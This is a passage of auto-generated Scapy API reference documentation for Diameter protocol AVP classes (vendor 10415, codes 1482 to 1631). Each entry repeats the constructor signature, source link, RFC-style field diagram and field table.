+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1482                        


AVP_10415_1482 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1491(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2726-L2730]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1491                        


AVP_10415_1491 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1492(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2733-L2737]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1492                        


AVP_10415_1492 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1493(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2740-L2744]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1493                        


AVP_10415_1493 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1499(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2747-L2759]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1499                        


AVP_10415_1499 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1501(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2762-L2767]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1501                        


AVP_10415_1501 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1502(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2770-L2773]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1502                        


AVP_10415_1502 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1503(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2776-L2780]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1503                        


AVP_10415_1503 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1515(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2783-L2787]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1515                        


AVP_10415_1515 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1519(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2790-L2794]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1519                        


AVP_10415_1519 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1610(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2797-L2801]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1610                        


AVP_10415_1610 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1613(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2804-L2807]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1613                        


AVP_10415_1613 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1614(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2810-L2824]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1614                        


AVP_10415_1614 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1615(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2827-L2830]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1615                        


AVP_10415_1615 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1617(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2833-L2837]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1617                        


AVP_10415_1617 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1618(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2840-L2843]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1618                        


AVP_10415_1618 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1623(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2846-L2857]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1623                        


AVP_10415_1623 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1627(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2860-L2897]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1627                        


AVP_10415_1627 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1628(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2900-L2905]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1628                        


AVP_10415_1628 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1631(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2908-L2925]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1631                        


AVP_10415_1631 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
